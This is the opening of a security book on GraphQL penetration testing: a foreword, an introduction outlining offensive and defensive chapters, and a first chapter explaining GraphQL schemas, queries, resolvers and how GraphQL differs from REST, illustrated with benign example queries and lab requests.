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FOREWORD

Today, building software and systems is a lot like assembling an IKEA
kitchen—on your front lawn. People are taking parsers, utilities, and other
components originally intended for use with trusted data by a person on their
own command line, and exposing them to the internet. With each new query
language and interpreter/parser combination (GraphQL being one of the more
recent), the old becomes new again.

Vulnerability classes like denial of service (DoS), injection, information
disclosure, and authentication/authorization bypasses have persisted in pretty
much every data format and language parsed with regular expressions over
the course of my career. Some of this is because inherent weaknesses exist in
the underlying technology that aren’t well understood by developers of new
languages. But it’s more than a technology problem that makes these classes
of vulnerabilities hard to solve. It’s an ecosystem problem.

In most cases, because of the inherent design of the components being
exposed to the internet, layering security controls on top of them is
challenging to do without losing functionality or efficiency. Take regular
expressions themselves: the ability to self-reference and back-reference is
what makes them so powerful, but that same ability also creates an inherent
DoS risk. To parse a statement, a regular expression can back-reference or
self-reference as many times as necessary. Yet for an attacker, necessary
might mean until you pay me to stop.

Developers can reasonably assume that command line users working on
their own systems will submit well-formulated requests, designed to end in
computationally reasonable times. After all, who would DoS themselves,
except by accident? But that foundational assumption doesn’t hold true on the
internet. Even for those incredibly rare people who consider and understand
how online threats invalidate the fundamental design assumptions of the
component they’re reusing, compensating for a design decision is tricky.
More commonly, people don’t even know there’s a problem to consider.



Then you have the fact that usability is a thing. Most of our internet-facing
technology is supposed to be forgiving in the case of errors so that our
lowest-common-denominator internet users can handle it. It should be
autocorrecting so that errors are handled gracefully. And, at the same time,
that technology needs to be secure against the most technically savvy, bored,
or determined attackers. No effective self-correcting and communicative
system can also keep a person from inferring that data is correct or has been
corrected. A shrewd user with no prior knowledge of the system can often
infer the data it contains by making a short series of educated guesses and
abusing the communicative aspects of the technology. This ability to infer and
then confirm is the source of many subtle information disclosure risks.

In a broader sense, many of the specifications for these data formats and
languages are insecure as a consequence of the design process. Standards for
things like PDFs and images often include a mishmash of requirements
dictated by the biggest vendors at the time that the standard was made. The
core specification contains what the vendors could agree on, while optional
items accommodate each vendor’s peculiar features and design decisions.
The patchwork created by committees with vested interests doesn’t exactly
inspire the group to think about security. And as data becomes the new
currency, committees are almost deliberately adding privacy and security
risks to standards so that companies can continue to perform data collection
(and profit accordingly).

Lastly, education about these issues is sorely lacking, which brings us back
to this book. If you’re learning how to attack interpreted query languages and
data formats for the first time, this book should give you the foundational
approaches to do more than just hack GraphQL. The same techniques, thought
processes, and issue classes described in the book will likely serve your
career for the next decade and beyond.

If you’re reading this book to better understand GraphQL (or skimming it
in the mad rush to prepare for your next assignment), you’ll find it to be a
great briefing created by two people who have had to do their own fair share
of hacking and who know the information you’ll need. This includes a useful
checklist of issues to look out for, insight into a bunch of little gotchas, and
GraphQL-specific quirks and subtleties that would otherwise take you a lot
of time and research to uncover.



Nick Aleks and Dolev Farhi have both used this information to break and
build complex systems, so they can describe the builder’s perspective as
well as the breaker’s, an angle often missing in hacking books. Their insights
into the GraphQL ecosystem should help quickly elevate your work beyond
finding the vulnerability and allow you to move to an adversarial simulation
or threat-hunting approach.

And if you’re ever working on a new framework, this book will be a great
resource for helping you change your little part of the ecosystem. By studying
common technical problems and understanding GraphQL’s ecosystem
challenges, hopefully you’ll pick up tips on what to avoid and concepts that
will translate into more secure design decisions.

Opheliar Chan
OWASP Toronto chapter lead
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INTRODUCTION

In 2015, we met for the first time at a
coffee shop in downtown Toronto,
hoping to establish a local hacking
community. That meeting was the genesis
of Toronto’s official DEFCON chapter.

Ever since then, we’ve collaborated to break web
applications, cars, locks, smart buildings, and APIs. In
more recent years, we’ve focused our attention on yet
another challenge: the vast world of offensive
GraphQL security.

A relatively new technology, the GraphQL query language has shifted the
API paradigm, appealing to many companies looking to optimize
performance, scale, and ease of use. However, fully understanding this query
language’s security implications takes time. Our collaboration has unlocked a
vast number of novel insights about GraphQL and its ecosystem. In fact, many
of the vulnerabilities and exploits referenced in this book have never before
been published. We uncovered several of them, including unique, never-
before-seen weaknesses, through our joint research. In addition, we
ourselves are the authors and maintainers of many of the GraphQL security
tools, educational security platforms, and exploits highlighted herein.

This book provides a practical resource for offensive security engineers
as well as defenders. By bridging the gap between the hacking community
and the GraphQL ecosystem, we aim to improve this increasingly popular



technology, strengthening the security of the many industries that use it and
educating engineers on how to attack and defend their GraphQL APIs.



Who This Book Is For
This book is for anyone interested in learning how to break and protect
GraphQL APIs through applied offensive security testing. Whether you’re a
penetration tester who has heard of GraphQL and want to develop your
hacking expertise, a security analyst looking to improve your knowledge of
how to defend GraphQL APIs, or a software engineer planning to build a
GraphQL-backed application, you should gain a lot of useful information
from this book. By learning how to attack GraphQL APIs, you can develop
hardening procedures, build automated security testing into your integration-
and-delivery pipeline, and effectively validate controls.

This book assumes that you have no prior exposure to GraphQL. If you
already understand the technology, the first three chapters will reinforce
some basics of the language, as well as discuss advanced topics. You can
then delve into the offensive security aspects beginning in Chapter 4.

The Book’s Lab and Code Repository
You can practice everything covered in this book in its dedicated security
lab, which we’ve curated specifically for GraphQL hacking. We highly
recommend experimenting with the material shared throughout the 10
chapters by running the various tools and querying GraphQL APIs. You’ll set
up the lab in Chapter 2.

In addition, we encourage you to clone the book’s code repository, located
at https://github.com/dolevf/Black-Hat-GraphQL. The repository includes
artifacts sorted by chapter, such as GraphQL code samples, exploits, queries,
and more. We also acknowledge that, as the security community better learns
how to hack and secure GraphQL APIs, new tools and research papers will
emerge. As such, we’ve created a special section of the repository for
documenting these resources for your arsenal, under the tools folder.

What’s in This Book

https://github.com/dolevf/Black-Hat-GraphQL


The book lays out fundamental and advanced GraphQL concepts in the first
three chapters, as well as guides you in setting up the lab tools that security
professionals need for security testing of GraphQL APIs. By Chapter 4, you
will have a solid understanding how GraphQL as a technology works. The
remainder of the book is reserved for learning and practicing the art of
GraphQL penetration testing, which will allow you to confidently test
GraphQL APIs in your future security endeavors. At the end of this book in
Appendix A you can find a GraphQL security testing cheat sheet, as well as
additional extracurricular resources to learn more about GraphQL in
Appendix B. The following summary provides more detail about each
chapter.

In Chapter 1: A Primer on GraphQL, you’ll be introduced to the
technology and learn how it differs from other API protocols. In particular,
we’ll demonstrate the differences between GraphQL and REST APIs by
walking through an example using each. This should illustrate their relative
advantages and disadvantages, as well as clarify why GraphQL is slowly
gaining market share in the API space. You’ll also run your first GraphQL
query.

Chapter 2: Setting Up a GraphQL Security Lab gathers some of the
best GraphQL security tools available for your long-term penetration testing
lab environment. We’ll guide you through installing and configuring them.
Some of these tools we authored ourselves, while others were kindly
released as open source software by other security professionals.

If you are new to GraphQL, play close attention to Chapter 3: The
GraphQL Attack Surface. This chapter has two goals: introducing you to
the many components of the technology and enabling you to think about these
concepts in a hacking context. In this chapter, you’ll learn about the GraphQL
language and type system. After learning the type system, you’ll understand
how GraphQL schemas work under the hood. And after learning the language
system, you’ll know how to build and execute queries against GraphQL
APIs. We’ll also provide an overview of the common weaknesses in
GraphQL in preparation for Chapters 4 through 9.

In Chapter 4: Reconnaissance, we’ll use data collection and target
mapping to apply tools and techniques to learn as much about our target as
possible. Without doing this homework, we’d be shooting in the dark and



wasting valuable time. You’ll learn information-gathering techniques that
will allow you to make educated guesses about a GraphQL target’s
infrastructure and increase your chances of success.

In Chapter 5: Denial of Service, you’ll learn how to achieve either a
performance degradation or complete server takedown. Denial of service is
one of the most prevalent vulnerabilities in GraphQL, and this chapter covers
numerous techniques to destabilize servers by executing special queries.
You’ll also learn about how GraphQL APIs can be built with more resiliency
in mind, using defensive GraphQL security controls.

Knowledge is power, and as you’ll learn in Chapter 6: Information
Disclosure, certain GraphQL design decisions can lead to information
disclosure vulnerabilities. We’ll leverage insecure configurations and abuse
GraphQL features to reconstruct the schema on a hardened target. We’ll also
take advantage of error and debugging mechanisms in GraphQL servers to
infer important information about the target.

You should expect to find authorization and authentication controls in any
application or API that hosts valuable data, yet these aren’t always easy to
implement securely. Chapter 7: Authentication and Authorization
Bypasses will teach you how to test for bypasses in these two important
controls, enabling us to impersonate users, take actions we’re not authorized
to take, and view information we’re not authorized to see.

Processing user input is a necessary evil. Most applications need it, yet
we should never trust it, because it might be malicious. Chapter 8: Injection
will cover several injection types and how they can be introduced in
GraphQL interfaces that accept user input. We’ll use manual techniques as
well as automated tools to uncover injection-based vulnerabilities in servers,
databases, and client browsers.

In Chapter 9: Request Forgery and Hijacking, we’ll discuss cross-site
request forgery and server-side request forgery, two forgery-based
vulnerabilities that impact clients and servers. We’ll also discuss cross-site
WebSocket hijacking: an attack, used to steal user sessions, that impacts
GraphQL subscriptions. By using several HTTP methods to send GraphQL
queries, we’ll target clients and force a server to request sensitive
information on our behalf.



In Chapter 10: Disclosed Vulnerabilities and Exploits, we’ll explore
more than a dozen vulnerability-disclosure reports and review exploit code
that impacts GraphQL APIs. We’ll dissect these artifacts to reinforce the
takeaways of previous chapters and reveal how vulnerabilities have
impacted large companies that run GraphQL APIs in production.

As computer-security enthusiasts, we’re honored to contribute to the
hacking community by sharing our knowledge with the industry. Armed with
our perspective, you too can help businesses better secure their GraphQL
applications. Remember that the content of this book is intended for
educational purposes only. We highly encourage you to receive formal
authorization before performing any penetration test against applications.



1
A PRIMER ON GRAPHQL

In this chapter, we’ll provide an overview
of GraphQL, including why it exists and
which of its features make it interesting
to many of today’s technology giants.
You’ll also explore how it differs from

RESTful APIs and send your very first GraphQL
query.

The Basics
GraphQL is an open source data query and manipulation language for
application programming interfaces (APIs). APIs allow two applications to
exchange information in the form of requests and responses by following a
set of rules that define the way the applications should connect and
communicate. Typically, a web browser, like Google Chrome or Mozilla
Firefox, acts as the API client, or consumer. This consumer interacts with an
application server, via the application’s API, to read or alter certain
information on the server. API consumers aren’t always browsers; machines,
such as other servers on the network, can be GraphQL API consumers too.

Unlike other API formats, GraphQL allows an API consumer to request
specific data from an application’s server without also receiving unnecessary
information. Contrast this approach with traditional REST API architectures,



which provide a fixed data structure and then rely on the clients to filter out
any unnecessary information they don’t need. We’ll compare the REST and
GraphQL API response structures in “GraphQL APIs vs. REST APIs” on
page 9 to illustrate the differences between the two.

From a security perspective, GraphQL’s design provides an advantage.
Because GraphQL doesn’t return data that the client doesn’t explicitly ask
for, its use reduces opportunities for information disclosure issues. Returning
more data than a client needs could lead to the unintentional exposure of
sensitive data, such as personally identifiable information (PII), which could
cause many other problems, especially for companies operating under heavy
regulatory rules. However, as you’ll soon see, GraphQL also has security
weaknesses that we, as hackers, can exploit.

Origins
Facebook developed GraphQL in 2012 and used it for a few years in its
production environments before releasing it as open source software in 2015.
That year, Facebook also developed and released the GraphQL specification
and a reference implementation named GraphQL.js (https://github.com/grap
hql/graphql-js), built using JavaScript.

GraphQL is now maintained by the GraphQL Foundation (https://graphql.
org/foundation/), an organization founded by global technology companies.
The foundation funds mentorship and project grants for GraphQL
maintainers, manages policies of the GraphQL trademark, provides legal
support for projects, and supports community-related infrastructure.

Use Cases
Just about any application and device can use GraphQL. Companies may
consider using it if their clients often request a lot of information at the same
time, which would otherwise require making many REST API calls. Using
GraphQL could reduce bandwidth usage and improve client performance.

For instance, imagine a website dashboard that consolidates information
about the weather from multiple third-party weather websites and that is
consumed by mobile clients on slow data networks. If the dashboard had to
make a bunch of calls to the various weather networks and filter through the

https://github.com/graphql/graphql-js
https://graphql.org/foundation/


data, this wouldn’t be an optimized process. GraphQL allows the fetching of
complex data structures in a single request, significantly reducing the
required number of client and server round trips. You’ll learn more about this
bandwidth-optimization design later in this chapter.

Today, many large-scale companies, such as Facebook, Atlassian, GitHub,
and GitLab, use GraphQL, serving hundreds of millions of customers on
various platforms, such as mobile phones, desktop computers, and even
smart TVs.

Specification
In 2015, Facebook publicly released the GraphQL specification document,
which defined rules, design principles, and standard practices to which all
implementations of GraphQL must adhere. This specification is a reference
for implementing GraphQL for multiple languages, similar to request for
comments (RFC) documents. You can think of it as a blueprint.

As such, we, as hackers, can use it to better understand how GraphQL is
meant to be implemented and verify that the target application we’re hacking
conforms to these predefined rules. Because implementations often deviate
from the standard for various reasons, chances increase for us to find bugs in
them, some of which may have security implications.

How Do Communications Work?
A typical GraphQL implementation incorporates a few components you
should become familiar with if you hope to search it for security flaws. Figur
e 1-1 describes these.



Figure 1-1: Core GraphQL components

When a client wants to communicate with a GraphQL server (for example,
to read a list of usernames and emails), that client will use the HyperText
Transfer Protocol (HTTP) POST method to send the server a GraphQL
query. You might already be noticing that this doesn’t follow standard HTTP
method conventions, as data reads are more often than not implemented with
the HTTP GET method; you will learn more about this later in this chapter.

The server, in turn, will process the query by using a query parser. Query
parsers read and validate that the query is properly formatted and that the
server can support it. This validation involves checking the query against the
application’s GraphQL schema. If the query is deemed valid, it will be
handled by resolver functions, which are responsible for generating the
response to the client’s query. Talk about many moving pieces! Let’s break
down these core components to better explain how they work together.

The Schema
The GraphQL schema represents the type of data a client can query for.
Schemas are defined using schema definition language (SDL). Listing 1-1
shows its syntax for defining two object types.

type User { 
   username: String 
   email: String 
} 
 
type Location { 
   latitude: Int 



   longitude: Int 
}

Listing 1-1: Schema definition language

Object types are the most basic component of a GraphQL schema; they
represent a piece of data you can fetch from the service running GraphQL.
Object types have fields, which are object-specific attributes that have a
value. In Listing 1-1, we define an object type called User and another type
called Location. The User type has two fields, named username and
email, both of which are of the String scalar type. The Location type also
has two fields, named latitude and longitude, which are of Int (integer)
scalar type.

So far, the objects and fields in our example schema aren’t connected to
each other. However, GraphQL allows us to form links between objects in
various ways. To visualize how this works, we can represent our schema as
a graph consisting of nodes and edges. In our example, the User and
Location object types are nodes, as shown in Figure 1-2.

Figure 1-2: Graph nodes

Edges are a way to create a link between multiple nodes. For example, an
object could have a field that references another object. Let’s say you have a
list of users, as well as a list of physical locations from which they last
logged in, and you want to return a user’s location whenever a client queries
for that user. Listing 1-2 shows how to do this by using edges.

type User { 
    username: String 
    email: String 
  ❶ location: Location 
} 
 



  ❷ type Location { 
    latitude: Int 
    longitude: Int 
}

Listing 1-2: The linking of nodes

We added an additional location field to the User object type ❶ and
linked it to the Location object type ❷. In practice, this means that you can
request a User object and get its associated location data. However, you
won’t be able to query for a username by using the Location object type,
because we haven’t defined that edge in our schema. Figure 1-3 illustrates
how the two nodes now have a one-way link relationship.

Figure 1-3: One-way link relationship between nodes

Edges are not limited to one-way link relationships. In fact, you can create
a two-way link relationship between the same objects, as shown in Figure 1-
4. Legitimate use cases exist for connecting two nodes in this way. In the
User and Location example, imagine that clients of our API need the ability
to fetch usernames and see their locations as part of the returned data. Also,
let’s say that clients should be able to fetch specific locations and see which
users have logged in at each location. Two-way link relationships allow for
this.



Figure 1-4: Two-way link relationship between nodes

From a security perspective, two-way link relationships often lead to
unwanted denial-of-service (DoS) conditions, which could completely take
down a system. When two-way link relationships exist, API developers
should introduce security controls to mitigate these vulnerabilities, which
we’ll explain in more detail in Chapter 5.

Queries
Once an API’s schema is defined, clients can fetch information from it by
using specially crafted queries written in the declarative GraphQL query
language. In GraphQL, all queries begin with a definition of the operation’s
root type, which specifies one of the following operations:
Queries are used for read-only operations. These operations don’t involve
data manipulation.
Mutations are used for data manipulation, such as data writes. These
operations involve data modifications, data additions, data deletions, and so
on. Mutations can be used to write and read data at the same time.
Subscriptions are used for real-time communications between clients and
GraphQL servers. They allow a GraphQL server to push data to the client
when different events occur. Subscriptions typically are used in conjunction
with transport protocols such as WebSocket.

These three operations are the starting point for each GraphQL query we
compose. For example, a query operation uses the query keyword:



query { 
 
}

A mutation operation type uses the mutation keyword:

mutation { 
 
}

Lastly, a subscription operation type uses the subscription keyword:

subscription { 
 
}

Before a client can perform one of these operations, the developer must
have defined the operation in the schema and specified the fields that clients
can use. For example, Listing 1-3 defines the Query type and establishes the
path that allows clients to fetch one of the object types we defined earlier,
User.

type User { 
   username: String 
   email: String 
   location: Location 
} 
 
type Location { 
   latitude: Int 
   longitude: Int 
} 
 
type Query { 
  users: [User] 
} 
 
schema { 
  query: Query 
} 



Listing 1-3: The full schema, with an entry point to querying the User
type

By querying the users field in the Query type, clients can access the User
object type we defined. The square brackets [] surrounding the User object
type indicate that this query will return an array of User objects. We’ll
discuss this syntax in Chapter 3.

NOTE

Notice that, while field names (like users) are lowercase, object
names (like User) begin with an uppercase letter. This is the most
common naming convention in GraphQL schemas.

Listing 1-4 is an example query that a client might send to a GraphQL
server implementing the schema in Listing 1-3.

query { 
   users { 
        username 
        email 
   } 
}

Listing 1-4: A GraphQL query

As you can see, GraphQL queries are pretty easy to read: all this query
does is get the username and email of all users of the application. We define
the query by using the query root operation. Then we request users as the
query’s top-level field, specifying the username and email fields we want.
Because this query only reads information and doesn’t change any data, we
perform a query operation rather than a mutation.

Notice that blank spaces are used to separate components like names and
values. The number of spaces used doesn’t matter; whether there’s a single
space or multiple spaces, the query will remain the same and return
consistent results.



The Query Parser and Resolver Functions
Now, what happens when a GraphQL server receives a query? Well, it
makes use of a query parser to read and extract the information it needs to
execute the incoming query. The query parser is responsible for turning the
query string into an abstract syntax tree (AST) and validating it against the
schema to ensure that only valid queries are accepted. An AST is a
hierarchical object that represents the query. It includes fields, arguments,
and other information and can be easily traversed by different language
parsers.

GraphQL is strongly typed, which means that when clients use the wrong
data types, the server returns an error. For example, if some data is defined
as an Int, using a String instead would yield errors. This allows
development teams to rely on the API to perform the type validation. We’ll
discuss these types in more detail in Chapter 3.

To generate a response to the client’s query containing the requested data,
the server uses resolver functions, also simply called resolvers. Resolvers
are responsible for populating the response with data for each field specified
in the client query. To do so, resolvers may implement code logic to take on
tasks such as querying relational databases, cache databases, or other servers
on the network. Every field has a corresponding resolver function
responsible for returning the field’s response.

For example, to fulfill the query we showed in Listing 1-4, a resolver
function may connect to an external database such as MySQL, and query its
users table to get a list of the available username and email entries. Because
resolver functions are the GraphQL component responsible for query
resolution, this is also where vulnerabilities can exist. If the functions are
written poorly, they may contain bugs, which may lead to security flaws.

Resolvers are not limited to reading from a database. They can read data
from the local filesystem or make HTTP requests to additional systems over
REST APIs. In fact, GraphQL APIs commonly make REST calls behind the
scenes, especially when companies are gradually transitioning from using
REST to GraphQL. Sometimes GraphQL is used as a consolidator API layer
to multiple backend REST services that remain invisible to the client.



In summary, you can think of GraphQL as a query layer that sits between
the client (such as a browser running on a user’s mobile phone or laptop) and
the application logic. Clients seeking to interact with a GraphQL API could
use a variety of available open source GraphQL client libraries, such as
Apollo Client (https://www.apollographql.com/docs/react), currently
maintained by Apollo for TypeScript, or Relay (https://relay.dev), currently
maintained by Facebook for JavaScript. Using dedicated GraphQL clients
isn’t required; you can also query GraphQL APIs using command line HTTP
clients such as cURL. In Chapter 3, we’ll cover how GraphQL works at the
lower levels.

What Problems Does GraphQL Solve?
GraphQL improves the speed of client-server interactions by saving the
client from having to make multiple requests in order to retrieve the complete
set of data it needs from an application. Because GraphQL allows clients to
define a precise query structure, it avoids costly performance issues such as
over-fetching (returning data to the client that isn’t used) or under-fetching
(returning too little data, forcing the client to make a second request). You’ll
learn more about these differences and why they matter for performance in
the next section.

GraphQL has additional useful features, such as schema stitching and
schema federation. Schema stitching is a way to create a single GraphQL
schema from multiple underlying GraphQL services, allowing GraphQL to
be used as a unified gateway. Essentially, it packages (stitches) multiple
schemas into one big schema, creating a single integration point for clients.
Because multiple microservices can define their own GraphQL schemas and
have their own GraphQL endpoints, allowing a single GraphQL API gateway
to consolidate many schemas into one can make it easier for clients to
integrate with an application.

Schema federation is similar to schema stitching, except it doesn’t require
you to manually stitch schemas together. Instead, schema federation lets you
tell the GraphQL API gateway where to look for additional schemas. The
gateway then does the stitching automatically. Federation is a lower-
maintenance approach for consolidating multiple APIs into a single gateway.

https://www.apollographql.com/docs/react
https://relay.dev/


Complex API applications, such as ones that require schema federation or
schema stitching, may introduce security vulnerabilities, potentially allowing
hackers to access data to which they shouldn’t otherwise have access. In
general, the more complex an application is, the higher the chance that its
internal complexities could lead to vulnerabilities.

GraphQL APIs vs. REST APIs
In the previous sections, we discussed the challenges of traditional APIs that
GraphQL attempts to solve. For example, REST APIs often provide more
data than the client needs (over-fetching) or too little data (under-fetching),
forcing the client to make additional API requests. In this section, we’ll walk
through an example to demonstrate how an application fronted by a REST
API compares to one that uses GraphQL.

Consider Table 1-1, a database table with information about an
application’s user base. A simple web application might display this
information as part of an admin panel that lets the systems administrator list
all available accounts and get their state. We’ll call this the Users
Administration page.

Table 1-1: Users Database Table

User ID Username Email First name Last name State
1 dsmith david@example.com David Smith Disabled
2 clarry chris@example.com Chris Larry Enabled

In the following sections, we’ll describe the API requests a client would
have to make to retrieve user data if the application were using a REST API,
and how it might do the same in an application using GraphQL.

The REST Example
In applications that use REST APIs, we define specific endpoints, or routes,
at which clients can perform actions such as reading or writing data using
specific HTTP methods (such as GET or POST). Table 1-2 defines two
REST API endpoints for two purposes: one for getting a list of users and
another to get information about a user’s login history.



Table 1-2: REST API Definitions

HTTP
method

API endpoint Endpoint description

GET /rest/v1/users Returns a list of all available users and their
information

GET /rest/v1/history/<user_id> Returns a list of the login timestamps for a given
user

When a systems administrator wants to view the Users Administration
page, their web client, such as a web browser, will need to obtain
information about all available users through the web application’s API. To
retrieve this data using the API endpoints in Table 1-2, the web browser
would need to send a GET request to /rest/v1/users. Listing 1-5 shows this
request and its response.

# curl http://lab.blackhatgraphql.com/rest/v1/users 
 
[ 
  { 
    "email": "david@example.com", 
    "first_name": "David", 
    "id": 1, 
    "last_name": "Smith", 
    "state": "disabled", 
    "username": "dsmith" 
  }, 
  { 
    "email": "chris@example.com", 
    "first_name": "Chris", 
    "id": 2, 
    "last_name": "Larry", 
    "state": "enabled", 
    "username": "clarry" 
  } 
]

Listing 1-5: GET request to /rest/v1/users that lists all system users

As you can see, this request returns the list of all users in JavaScript
Object Notation (JSON) format, along with their emails, names, IDs, and
account states.



But what if the system administrator wants to retrieve only certain
information about users, such as their email addresses, without returning any
other information? Using the API definitions in Table 1-2, this wouldn’t be
possible. Instead, the response in Listing 1-5 would need to be processed in
its entirety, and the email field would need to be extracted out of the
response. This is an example of the over-fetching problem in REST APIs: the
client receives more data than it needs and then has to filter it.

Now, imagine that you are the systems administrator and have been tasked
with identifying any intrusion attempts on the network. You plan to write a
script that will run every night and check for suspicious behavior. For
example, it should flag users who have logged in after normal work hours,
which are from 9 AM to 5 PM. To achieve this goal, the script will need to
make an API request using the GET method to the
/rest/v1/history/<user_id> endpoint. However, if you look closely at the
endpoint structure, you’ll notice that it requires the client to supply a specific
user ID. How will the script know the ID of the application’s users? The
short answer: it won’t, unless it first fetches all of the available user IDs.

In practice, this means that in order for the script to successfully run, read
a user’s last login timestamp, and identify a possible intrusion, it first needs
to list all user accounts on the system using the API endpoint /rest/v1/users.
This should return every user’s username, email, first name, last name, state,
and user ID.

Next, it needs to make a second API request to /rest/v1/history/1, where 1
is the user ID obtained from the first request, as shown in Listing 1-6.

# curl http://lab.blackhatgraphql.com/rest/v1/history/1 
 
--snip-- 
["02:03:37", "03:05:55"] 
--snip--

Listing 1-6: Response from /rest/v1/history/1

To get the entire list of all historical user logins, the client would need to
make additional requests until it had fetched all user IDs. If we have 1,000
users, that will require 1,000 requests. Sounds like an inefficient process,
doesn’t it? This is an example of the under-fetching problem that REST APIs



tend to have. RESTful APIs can be designed to return specific information,
but the complexity required to allow for such querying flexibility across a
variety of REST endpoints will make it challenging to maintain over time.

While making two requests to retrieve the login info of a single user may
not seem like a big deal at first glance, imagine that the application serves
millions of clients simultaneously. At this scale, every request counts; any
additional cross-network calls will result in increased latency on the server
and impact the client’s experience. This will decrease the overall speed and
efficiency of the application.

If you’d like to see these requests in action, you can experiment with this
example’s APIs by pointing your web browser to the live lab located at htt
p://lab.blackhatgraphql.com/start. There, click the two links to navigate to
the REST from within your web browser, as shown in Figure 1-5.

Figure 1-5: A live REST API example

http://lab.blackhatgraphql.com/start


We’ve demonstrated the under-fetching and over-fetching problems of
REST APIs. How will GraphQL solve these? Let’s explore the exact same
scenario in the GraphQL world.

The GraphQL Example
Imagine that our Users Administration web application has scrapped its
REST API in favor of GraphQL, and that we’ve established a schema
defining a data-graph edge between the users and history nodes. Now, when
the systems administrator views the Users Administration page, their web
browser will use the application’s GraphQL API endpoint to return all the
data needed.

The browser might use the query in Listing 1-7 to retrieve information
such as user IDs, emails, first names, last names, historical information such
as the timestamp of their last login, and account states:

query { 
   users { 
       id 
       email 
       first_name 
       last_name 
       state 
       history { 
         last_login_timestamp 
       } 
   } 
}

Listing 1-7: GraphQL query to fetch information about the users

A response to such a query can be seen in Listing 1-8.

"data": { 
  "users": [ 
    { 
      "id":1, 
      "email": "david@example.com", 
      "first_name": "David", 
      "last_name": "Smith", 
      "state": "disabled", 



      "history": { 
          "last_login_timestamp":["02:03:37", "03:05:55"] 
      } 
    }, 
    { 
      "id": 2, 
      "email": "chris@example.com" 
--snip-- 
    } 
  ] 
}

Listing 1-8: GraphQL query response containing all available users and
their information

Notice that the response contains a data JSON field, which includes the
users field, and that the users field is an array containing all users on the
system.

NOTE

GraphQL response data does not require a specific serialization
format. However, JSON is the most commonly used format for
GraphQL.

At this point, there aren’t any visible differences between the REST and
GraphQL APIs. So, how does GraphQL address the over-fetching and under-
fetching problems? Well, if we wanted to specifically request a certain field,
such as the users’ email addresses, we could omit any irrelevant fields and
include only the email field, as shown in Listing 1-9.

query { 
  users { 
    email 
  } 
}

Listing 1-9: GraphQL query that returns only email addresses



By explicitly including the fields we’re interested in returning, we limit
the response to relevant data, as shown in Listing 1-10.

"data": { 
  "users": [ 
    { 
      "email": "david@example.com" 
    }, 
    { 
      "email": "chris@example.com" 
    } 
  ] 
}

Listing 1-10: GraphQL server response containing only email addresses

As you can see, the response contains only the email addresses, as
instructed by the query. If 100 email addresses were stored in the backend
database, all of them would have been returned with such a query.

Now, remember when, earlier, we wanted to return users’ last login
timestamps for our intrusion detection task? With GraphQL, we can do so
using a query similar to the one shown in Listing 1-11.

query { 
   users { 
     email 
     history { 
         last_login_timestamp 
     } 
   } 
}

Listing 1-11: GraphQL query that returns the timestamp of the last
logins made by users, along with their emails

As expected, we receive only the relevant fields, as shown in Listing 1-12.

{ 
  "data":{ 
     "users":[ 
         { 
          "email": "david@example.com", 



          "history": { 
             "last_login_timestamp":["02:03:37"] 
            } 
         }, 
         { 
          "email": "chris@example.com", 
          "history": { 
             "last_login_timestamp":["02:03:37", "03:05:5
5"] 
            } 
         } 
    ] 
  } 
}

Listing 1-12: GraphQL response containing only the email and
last_login_timestamp fields

Using GraphQL’s powerful declarative language, we can craft very
selective queries that fetch only the necessary information. In later chapters,
you’ll learn how to leverage this query syntax to attack GraphQL servers.

Other Differences
This section lists other significant differences between REST APIs and
GraphQL APIs that security professionals should be aware of. These include
the specific HTTP methods an application should use, which HTTP status
codes to return in specific error scenarios, and more. Some of these
differences might seem odd to anyone who has performed penetration tests of
REST applications, as in certain cases GraphQL strays from the guidance of
the HTTP RFC.

HTTP Request Methods
Earlier in this chapter, we mentioned that GraphQL communications typically
happen over the POST method, whether for writing data, deleting data, or
simply reading data. By contrast, REST APIs use HTTP methods to indicate
the client’s intention. For example, they would use GET for reading data and
POST for creating or updating data.



It’s important to note that GraphQL can, in fact, accept queries over the
GET method. Even though GraphQL applications mostly use POST, you
should test a GraphQL application for the support of the GET method, as it
can open up opportunities to identify and abuse vulnerabilities such as cross-
site request forgery (CSRF). We’ll discuss CSRF in more detail in Chapter
9.

API Endpoint Paths
In GraphQL, the endpoint exposed to the client is usually located at /graphql.
Applications may also choose to offer multiple versions of an API, in which
case you may see endpoints such as /v1/graphql or /v2/graphql.

No matter which endpoint the API uses, it will remain the same across all
client requests. This differs from REST APIs, which expose each resource at
a separate endpoint. Every REST endpoint could have its own set of controls
and supported methods. For instance, a /history endpoint might allow only
GET requests so that clients can fetch historical records, while a /users
endpoint might support both GET- and POST-based requests, to allow clients
to fetch the list of users as well as add new user accounts.

GraphQL instead defines client intentions in the query payload, through
operations such as queries and mutations. The endpoint remains consistent no
matter the resource accessed or action performed.

HTTP Status Codes
HTTP status codes such as 200 OK, 404 Not Found, and 401 Unauthorized
play a key role in REST APIs, because they signal to the client the outcome
of their request. For example, when a user attempts to log in to a web page
with an incorrect username or password, an application with a REST API
may return the status code of 401 Unauthorized to signal to the client that
they aren’t authorized.

In GraphQL APIs, the status code returned by the server will almost
exclusively be 200 OK, even if the action failed because of authorization
errors or because the requested resource doesn’t exist on the server.
GraphQL indicates errors to the client by returning an errors field as part of
the response payload, as shown in Listing 1-13.



{ 
    "errors": [ 
      { 
        "message": "Cannot query field "usernam" on type
 "User". Did you mean "username"?", 
        "locations": [ 
          { 
            "line": 3, 
            "column": 5 
          } 
          --snip-- 
        ] 
     } 
   ] 
}

Listing 1-13: The GraphQL response error format

You might see a status code other than 200 OK if the server fails to serve
the request completely because of a critical server-side error, such as a
database being down or another backend failure. In these cases, GraphQL
may return the expected 500 Server Error status code.

The Importance of Running GraphQL-Tailored Security Tools
These differences in HTTP status codes, request methods, and API endpoint
paths necessitate a significant shift in our approach to security analysis,
intrusion detection, and penetration testing. During traditional penetration
tests, we often rely on hacking tools to handle the heavy lifting when it comes
to vulnerability assessment and application scanning. When we test GraphQL
applications, these security tools may report false-positive findings if they
don’t have GraphQL support built in.

Traditional web application scanners are tailored to the RFC 2616 HTTP
standard and assume that applications conform with this RFC when it comes
to the status codes they return. For example, a web application vulnerability
scanner that conducts a brute-force attack may report that a successful
exploitation occurred if it ever receives a 200 OK status code from the target
server. However, you shouldn’t interpret a 200 OK status code in the same
way when it is returned from GraphQL-based applications.



When it comes to security analysis, security operators face a challenge
when they attempt to interpret the access logs of a GraphQL application,
especially if they are used to interacting with REST API applications.
Consider the HTTP access log sample shown in Listing 1-14.

172.17.0.1 - - [04:31:01] "POST /graphql HTTP/1.1" 200 - 
172.17.0.1 - - [04:31:05] "POST /graphql HTTP/1.1" 200 - 
172.17.0.1 - - [04:31:37] "POST /graphql HTTP/1.1" 200 -

Listing 1-14: Access log patterns for a GraphQL application

